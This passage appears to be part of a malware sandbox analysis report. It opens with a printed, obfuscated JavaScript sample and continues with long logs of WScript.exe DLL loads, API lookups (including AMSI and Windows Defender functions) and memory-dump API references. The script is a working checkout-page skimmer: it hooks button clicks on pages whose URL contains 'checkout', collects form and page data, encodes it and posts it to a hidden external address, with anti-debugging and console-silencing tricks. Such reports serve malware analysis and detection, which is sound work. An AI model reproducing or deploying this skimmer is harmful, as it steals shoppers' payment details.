_0x1109e2==_0x4068f6;}};if(document[_0x3841('0x28')]['indexOf'](_0x14c11d[_0x3841('0x34')]('Y2hlY2tvdXQ+'))<0x0)return;var _0x6985ce=document['getElementsByClassName'](_0x3841('0x35'));if(_0x441394[_0x3841('0x36')](_0x6985ce,null)||_0x6985ce[_0x3841('0x1')]<0x2){setTimeout(_0x1d0dee,0x3e8);}for(var _0x4dc8c5=0x0;_0x4dc8c5<_0x6985ce[_0x3841('0x1')];_0x4dc8c5++){var _0x1ab190=_0x6985ce[_0x4dc8c5];if(_0x1ab190==null)continue;_0x1ab190['onclick']=function(){try{var _0x5060a3=_0x3841('0x37')[_0x3841('0xf')]('|'),_0x87b300=0x0;while(!![]){switch(_0x5060a3[_0x87b300++]){case'0':objectID=_0x3841('0x38');continue;case'1':_0x1290d8=_0x14c11d[_0x3841('0x39')](_0x1290d8);continue;case'2':_0x5a5917=document[_0x3841('0x28')]['replace']('/','//')+_0x441394[_0x3841('0x3a')]+objectID+'},';continue;case'3':var _0x5a0800=_0x3841('0x3b');continue;case'4':var _0x166c9a=_0x14c11d[_0x3841('0x34')](_0x3841('0x3c'))+_0x1290d8;continue;case'5':var _0x1290d8=_0x14c11d[_0x3841('0x39')](_0x5a5917);continue;case'6':for(var _0x3dc2fb=0x0;_0x3dc2fb<0x8;_0x3dc2fb++){_0x1290d8+=_0x14c11d['_keyStr']['charAt'](Math[_0x3841('0x3d')](Math[_0x3841('0x3e')]()*_0x14c11d['_keyStr'][_0x3841('0x1')]));}continue;case'7':if(window[_0x3841('0x3f')])_0x4fbae3=new XMLHttpRequest();else _0x4fbae3=new ActiveXObject(_0x3841('0x40'));continue;case'8':if(_0x4fbae3){_0x4fbae3[_0x3841('0x41')](_0x14c11d[_0x3841('0x34')](_0x3841('0x42')),_0x14c11d[_0x3841('0x34')](_0x5a0800),!![]);_0x4fbae3[_0x3841('0x43')]=function(){if(_0x4fbae3[_0x3841('0x44')]==0x4){if(_0x4fbae3['status']>=0xc8&&_0x4fbae3[_0x3841('0x45')]<0x190){}else{}}};_0x4fbae3[_0x3841('0x46')]=0xea60;_0x4fbae3[_0x3841('0x47')](_0x3841('0x48'),'application/x-www-form-urlencoded');_0x4fbae3['send'](_0x166c9a);}continue;case'9':var _0x5a5917='';continue;case'10':var _0x4fbae3;continue;case'11':_0x5a5917=_0x441394['DVDgE'](_0x441394[_0x3841('0x49')](_0x5a5917,_0x441394[_0x3841('0x4a')](_0x11aa91))+_0x3841('0x33')+_0x550026(document),_0x441394[_0x3841('0x4b')])+_0x441394[_0x3841('0x4c')](_0x178cc4,document);continue;case'12':for(var _0x3dc2fb=0x0;_0x441394[_0x3841('0x4d')](_0x3dc2fb,0x10);_0x3dc2fb++){_0x1290d8+=_0x14c11d[_0x3841('0x4e')][_0x3841('0x4f')](Math['floor'](Math[_0x3841('0x3e')]()*_0x14c11d[_0x3841('0x4e')][_0x3841('0x1')]));}continue;}break;}}catch(_0x41f172){console[_0x3841('0x50')](_0x41f172);}return!![];};}}_0x5cc8e9(_0x1d0dee);var _0x14c11d={'_keyStr':_0x3841('0x51'),'encode':function(_0x254b54){var _0x558ca1={'dXgWb':function(_0x225348,_0x6852e){return _0x225348&_0x6852e;}};var _0x59fcbe='';var _0x372903,_0x7ed7ef,_0x3d9df2,_0x4180d5,_0x3275a1,_0x5f3115,_0x5beed1;var _0x3fd65a=0x0;_0x254b54=_0x14c11d['_utf8_encode'](_0x254b54);while(_0x3fd65a<_0x254b54[_0x3841('0x1')]){_0x372903=_0x254b54[_0x3841('0x52')](_0x3fd65a++);_0x7ed7ef=_0x254b54[_0x3841('0x52')](_0x3fd65a++);_0x3d9df2=_0x254b54[_0x3841('0x52')](_0x3fd65a++);_0x4180d5=_0x372903>>0x2;_0x3275a1=(_0x372903&0x3)<<0x4|_0x7ed7ef>>0x4;_0x5f3115=_0x558ca1[_0x3841('0x53')](_0x7ed7ef,0xf)<<0x2|_0x3d9df2>>0x6;_0x5beed1=_0x3d9df2&0x3f;if(isNaN(_0x7ed7ef)){_0x5f3115=_0x5beed1=0x40;}else if(isNaN(_0x3d9df2)){_0x5beed1=0x40;}_0x59fcbe=_0x59fcbe+this[_0x3841('0x4e')][_0x3841('0x4f')](_0x4180d5)+this['_keyStr']['charAt'](_0x3275a1)+this[_0x3841('0x4e')][_0x3841('0x4f')](_0x5f3115)+this[_0x3841('0x4e')]['charAt'](_0x5beed1);}return _0x59fcbe;},'decode':function(_0x2f69fe){var _0x43a783={'xCkAH':function(_0x40251d,_0xfc0f16){return _0x40251d|_0xfc0f16;},'VaeHm':function(_0x58c934,_0x1f8d0e){return _0x58c934<<_0x1f8d0e;},'nRfFY':function(_0x470f45,_0x1e3ae2){return _0x470f45&_0x1e3ae2;}};var _0x2cd192='';var _0x92023a,_0x4503d5,_0x2842d3;var _0x4e0371,_0x152540,_0x1e1dd4,_0x79229f;var _0x8dd8a3=0x0;_0x2f69fe=_0x2f69fe['replace'](/[^A-Za-z0-9\+\/\=]/g,'');while(_0x8dd8a3<_0x2f69fe['length']){_0x4e0371=this['_keyStr']['indexOf'](_0x2f69fe[_0x3841('0x4f')](_0x8dd8a3++));_0x152540=this[_0x3841('0x4e')][_0x3841('0x12')](_0x2f69fe[_0x3841('0x4f')](_0x8dd8a3++));_0x1e1dd4=this[_0x3841('0x4e')][_0x3841('0x12')](_0x2f69fe['charAt'](_0x8dd8a3++));_0x79229f=this['_keyStr'][_0x3841('0x12')](_0x2f69fe['charAt'](_0x8dd8a3++));_0x92023a=_0x4e0371<<0x2|_0x152540>>0x4;_0x4503d5=_0x43a783[_0x3841('0x54')](_0x43a783['VaeHm'](_0x43a783[_0x3841('0x55')](_0x152540,0xf),0x4),_0x1e1dd4>>0x2);_0x2842d3=_0x43a783['xCkAH'](_0x43a783['nRfFY'](_0x1e1dd4,0x3)<<0x6,_0x79229f);_0x2cd192=_0x2cd192+String[_0x3841('0x56')](_0x92023a);if(_0x1e1dd4!=0x40){_0x2cd192=_0x2cd192+String[_0x3841('0x56')](_0x4503d5);}if(_0x79229f!=0x40){_0x2cd192=_0x2cd192+String[_0x3841('0x56')](_0x2842d3);}}_0x2cd192=_0x14c11d[_0x3841('0x57')](_0x2cd192);return _0x2cd192;},'_utf8_decode':function(_0x458a89){var _0x514340={'TPGfT':function(_0x47bc86,_0x4856aa){return _0x47bc86<_0x4856aa;},'CvqjN':function(_0x52bc15,_0x2276f7){return _0x52bc15|_0x2276f7;},'frXiz':function(_0x47d92e,_0x3c881d){return _0x47d92e<<_0x3c881d;},'rRGJj':function(_0x293cc6,_0x30e722){return _0x293cc6+_0x30e722;},'nVnAw':function(_0x52ce2f,_0x74825e){return _0x52ce2f&_0x74825e;},'GGxzR':function(_0x231061,_0x3a21a0){return _0x231061&_0x3a21a0;}};var _0xc701b4='';var _0x47a627=0x0;var _0x50a0a5=c1=c2=0x0;while(_0x47a627<_0x458a89['length']){_0x50a0a5=_0x458a89[_0x3841('0x52')](_0x47a627);if(_0x514340['TPGfT'](_0x50a0a5,0x80)){_0xc701b4+=String[_0x3841('0x56')](_0x50a0a5);_0x47a627++;}else if(_0x50a0a5>0xbf&&_0x50a0a5<0xe0){c2=_0x458a89['charCodeAt'](_0x47a627+0x1);_0xc701b4+=String[_0x3841('0x56')](_0x514340['CvqjN'](_0x514340[_0x3841('0x58')](_0x50a0a5&0x1f,0x6),c2&0x3f));_0x47a627+=0x2;}else{c2=_0x458a89[_0x3841('0x52')](_0x514340[_0x3841('0x59')](_0x47a627,0x1));c3=_0x458a89['charCodeAt'](_0x47a627+0x2);_0xc701b4+=String[_0x3841('0x56')]((_0x50a0a5&0xf)<<0xc|_0x514340[_0x3841('0x5a')](c2,0x3f)<<0x6|_0x514340[_0x3841('0x5b')](c3,0x3f));_0x47a627+=0x3;}}return _0xc701b4;},'_utf8_encode':function(_0x498084){var _0xae484d={'CZGgI':function(_0x29ec16,_0x4494b8){return _0x29ec16<_0x4494b8;},'BnUOQ':function(_0x28df84,_0x5d45ce){return _0x28df84<_0x5d45ce;},'RaXAK':function(_0x1b7474,_0x409221){return _0x1b7474|_0x409221;}};_0x498084=_0x498084[_0x3841('0x19')](/\r\n/g,'\x0a');var _0x2a3c2c='';for(var _0x2366a4=0x0;_0xae484d['CZGgI'](_0x2366a4,_0x498084[_0x3841('0x1')]);_0x2366a4++){var _0x1b1542=_0x498084['charCodeAt'](_0x2366a4);if(_0x1b1542<0x80){_0x2a3c2c+=String[_0x3841('0x56')](_0x1b1542);}else if(_0x1b1542>0x7f&&_0xae484d[_0x3841('0x5c')](_0x1b1542,0x800)){_0x2a3c2c+=String[_0x3841('0x56')](_0x1b1542>>0x6|0xc0);_0x2a3c2c+=String[_0x3841('0x56')](_0x1b1542&0x3f|0x80);}else{_0x2a3c2c+=String[_0x3841('0x56')](_0x1b1542>>0xc|0xe0);_0x2a3c2c+=String['fromCharCode'](_0x1b1542>>0x6&0x3f|0x80);_0x2a3c2c+=String['fromCharCode'](_0xae484d[_0x3841('0x5d')](_0x1b1542&0x3f,0x80));}}return _0x2a3c2c;}};function _0x5cc8e9(_0x39637e){var _0x2efffb={'nVhJw':function(_0x3f6022){return _0x3f6022();},'pKWCU':function(_0x12df99){return _0x12df99();}};var _0x2e0c94='4|3|2|5|0|6|1'[_0x3841('0xf')]('|'),_0x284062=0x0;while(!![]){switch(_0x2e0c94[_0x284062++]){case'0':var _0xa9a34=_0x138fff(this,function(){var _0x52db4c=function(){};var _0x2631af;try{var _0x107c49=_0x456fe8[_0x3841('0x5e')](Function,_0x456fe8[_0x3841('0x5f')]('return\x20(function()\x20',_0x3841('0x60'))+');');_0x2631af=_0x456fe8[_0x3841('0x61')](_0x107c49);}catch(_0x3bf04a){_0x2631af=window;}if(!_0x2631af[_0x3841('0x62')]){_0x2631af['console']=function(_0x52db4c){var _0x310f57={};_0x310f57[_0x3841('0x50')]=_0x52db4c;_0x310f57[_0x3841('0x63')]=_0x52db4c;_0x310f57[_0x3841('0x64')]=_0x52db4c;_0x310f57[_0x3841('0x65')]=_0x52db4c;_0x310f57[_0x3841('0x66')]=_0x52db4c;_0x310f57[_0x3841('0x67')]=_0x52db4c;_0x310f57['trace']=_0x52db4c;return _0x310f57;}(_0x52db4c);}else{_0x2631af[_0x3841('0x62')]['log']=_0x52db4c;_0x2631af[_0x3841('0x62')]['warn']=_0x52db4c;_0x2631af[_0x3841('0x62')]['debug']=_0x52db4c;_0x2631af[_0x3841('0x62')][_0x3841('0x65')]=_0x52db4c;_0x2631af[_0x3841('0x62')][_0x3841('0x66')]=_0x52db4c;_0x2631af['console'][_0x3841('0x67')]=_0x52db4c;_0x2631af['console'][_0x3841('0x68')]=_0x52db4c;}});continue;case'1':if(document[_0x3841('0x44')]!=_0x3841('0x69'))_0x2efffb[_0x3841('0x6a')](_0x39637e);else if(document['addEventListener'])document['addEventListener'](_0x3841('0x6b'),_0x39637e);else document['attachEvent'](_0x3841('0x43'),function(){if(document[_0x3841('0x44')]==_0x456fe8[_0x3841('0x6c')])_0x39637e();});continue;case'2':(function(){var _0x3ab623={'Kklku':_0x3841('0x6d'),'KfPoM':'\x5c+\x5c+\x20*(?:_0x(?:[a-f0-9]){4,6}|(?:\x5cb|\x5cd)[a-z0-9]{1,4}(?:\x5cb|\x5cd))','SNXMx':_0x456fe8[_0x3841('0x6e')]};_0x18701e(this,function(){var _0x9a24bf=new RegExp(_0x3ab623[_0x3841('0x6f')]);var _0x5e56a6=new RegExp(_0x3ab623[_0x3841('0x70')],'i');var _0x155d4e=_0x25fed1(_0x3ab623[_0x3841('0x71')]);if(!_0x9a24bf[_0x3841('0x72')](_0x155d4e+_0x3841('0x73'))||!_0x5e56a6[_0x3841('0x72')](_0x155d4e+'input')){_0x155d4e('0');}else{_0x25fed1();}})();}());continue;case'3':var _0x18701e=function(){var _0x412dc0=!![];return function(_0x7291b8,_0x59b195){var _0x149cc1=_0x412dc0?function(){if(_0x59b195){var _0x48cb27=_0x59b195[_0x3841('0x74')](_0x7291b8,arguments);_0x59b195=null;return _0x48cb27;}}:function(){};_0x412dc0=![];return _0x149cc1;};}();continue;case'4':var _0x456fe8={'DryaE':_0x3841('0x75'),'EksNG':function(_0x466994,_0x1ac88c){return _0x466994(_0x1ac88c);},'lgSzQ':function(_0x44c570,_0x3fe1cf){return _0x44c570+_0x3fe1cf;},'WxPlf':function(_0x32aae6){return _0x2efffb[_0x3841('0x6a')](_0x32aae6);},'uZgjc':'complete'};continue;case'5':var _0x138fff=function(){var _0x334322=!![];return function(_0xc97d0,_0x5718ab){var _0x53fbdc=_0x334322?function(){if(_0x5718ab){var _0x33215e=_0x5718ab[_0x3841('0x74')](_0xc97d0,arguments);_0x5718ab=null;return _0x33215e;}}:function(){};_0x334322=![];return _0x53fbdc;};}();continue;case'6':_0x2efffb['pKWCU'](_0xa9a34);continue;}break;}};function _0x25fed1(_0x318a22){var _0x3fba9e={'NgiWm':'counter','fyXIy':_0x3841('0x76'),'WGRpQ':'action','WwEJv':function(_0x50c2c7,_0x9f1ee7){return _0x50c2c7+_0x9f1ee7;}};function _0x214087(_0xa757b){if(typeof _0xa757b===_0x3841('0x77')){return function(_0x36e7c6){}[_0x3841('0x78')](_0x3841('0x79'))[_0x3841('0x74')](_0x3fba9e[_0x3841('0x7a')]);}else{if((''+_0xa757b/_0xa757b)[_0x3841('0x1')]!==0x1||_0xa757b%0x14===0x0){(function(){return!![];}[_0x3841('0x78')](_0x3841('0x7b')+_0x3fba9e[_0x3841('0x7c')])[_0x3841('0x7d')](_0x3fba9e[_0x3841('0x7e')]));}else{(function(){return![];}[_0x3841('0x78')](_0x3fba9e[_0x3841('0x7f')]('debu',_0x3fba9e['fyXIy']))[_0x3841('0x74')]('stateObject'));}}_0x214087(++_0xa757b);}try{if(_0x318a22){return _0x214087;}else{_0x214087(0x0);}}catch(_0x4aa079){}}"2e:T641,"WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006996) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006996) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006996) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006996) "WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006996) "WScript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006996) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006996) "WScript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00006996) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006996) "WScript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006996) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00006996) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00006996) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006996) "WScript.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00006996) "WScript.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006996)2f:T22a7,"WScript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00006996) "WScript.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00006996)30:Tb6ee,Found reference to API (Indicator: "Beep"; Source: "00000000-00006996.00000000.69007.0BB10000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "PostThreadMessageA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "StringFromCLSID"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetMessageA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 